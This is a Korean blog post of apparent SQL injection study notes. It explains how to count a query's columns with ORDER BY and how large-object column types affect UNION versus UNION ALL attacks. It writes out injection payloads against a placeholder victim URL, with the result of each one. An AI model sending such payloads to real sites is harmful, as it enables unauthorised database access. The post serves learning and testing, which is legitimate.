Oh! JUN

UNION 공격 검증 본문

웹 해킹/SQL Injection

UNION 공격 검증

Kwon Oh! JUN 2022. 8. 25. 15:42

● 정렬 대상 컬럼에 컬럼명 대신 숫자가 올 수 있으며, 이를 통해 컬럼 개수 파악 가능
 정렬 대상 컬럼이 대용량 데이터 타입일 경우 정렬이 불가능하여 에러 발생
 UNION 사용 시 상위 SELECT 문에 ORDER BY 구문이 있을 경우 에러 발생

 

 

1. 정렬 대상 컬럼에 컬럼명 대신 숫자가 올 수 있으며, 이를 통해 컬럼 개수 파악 가능

order by 1 : 첫번째 열인 seq을 기준으로 정렬

order by 2 : 두번째 열인 id을 기준으로 정렬

order by 3 : 세번쨰 열 없으니까 오류 x

- 이를 통해 컬럼의 개수를 알수 있음.


2. 정렬 대상 컬럼이 대용량 데이터 타입일 경우 정렬이 불가능하여 에러 발생

http://www.victim.co.kr/boardView.do?idx=192 order by 3-- 에러 발생
http://www.victim.co.kr/boardView.do?idx=192 order by 4-- 정상 출력
http://www.victim.co.kr/boardView.do?idx=192 order by 5-- 에러 발생
http://www.victim.co.kr/boardView.do?idx=192 union select null, null, null, null 에러 발생

- order by 4에서 정상 출력이 된걸 확인할 수 있는데 그렇다면 컬럼의 개수가 4개가 맞다. 하지만 order by 3에서는 에러가 발생하고, union select null, null, null, null에서도 에러가 발생하게 되는데 이와 같은 경우 order by 3가 대용량 데이터 타입이라서 그렇다.

 

http://www.victim.co.kr/boardView.do?idx=192 union all select null, null, null, null 정상 출력

- 그래서 대용량 데이터 타입이 경우 정렬이 불가능해서 union 대신 union all을 사용해야 한다.


 

http://www.victim.co.kr/boardView.do?idx=192 order by 4-- 정상 출력
http://www.victim.co.kr/boardView.do?idx=192 order by 5-- 에러 발생
http://www.victim.co.kr/boardView.do?idx=192 order by 6-- 에러 발생
http://www.victim.co.kr/boardView.do?idx=192 union all select null, null, null, null 에러 발생

- order by 4에서 정상적으로 출력되었으니까 컬럼이 4개라고 할 수 있는데  union all select null, null, null, null에서 에러가 발생했다. 

- 이와 같은 경우에는 5번째 컬럼이 대용량 데이터 타입이기 때문이다. 컬럼이 5개가 존재하기 때문에 order by 4에서 정상출력이 되었지만, order by 5에서는 컬럼이 5개 임에도 불구하고 대용량 데이터 타입이기 때문에 에러가 발생한다.

- 그래서 연쇄적으로 union all select null, null, null, null에서도 에러가 발생하는 것이다.

 

 

http://www.victim.co.kr/boardView.do?idx=192 union all select null, null, null, null, null 정상 출력

- null을 5개로 바꾸면 정상적으로 출력되는걸 확인할 수 있다.


 

3. UNION 사용 시 상위 SELECT 문에 ORDER BY 구문이 있을 경우 에러 발생

select * from user1 union select * from user2 order by 1;

- order by절이 하위 select 문에 있을 때는 정상적으로 작동

 

select * from user1 order by 1 union select * from user2;

- order by절이 상위 select 문에 있을 때는 오류 발생

- order by절이 상위 select에 있을 때 UNION 공격 불가


※ 주의할 점

MYSQL, MSSQL은 SELECT절 사용 시 테이블 조회를 하지 않을 경우 FROM절 생략이 가능하나, ORACLE은 더미 테이블을 통해 FROM절은 반드시 들어가야 한다.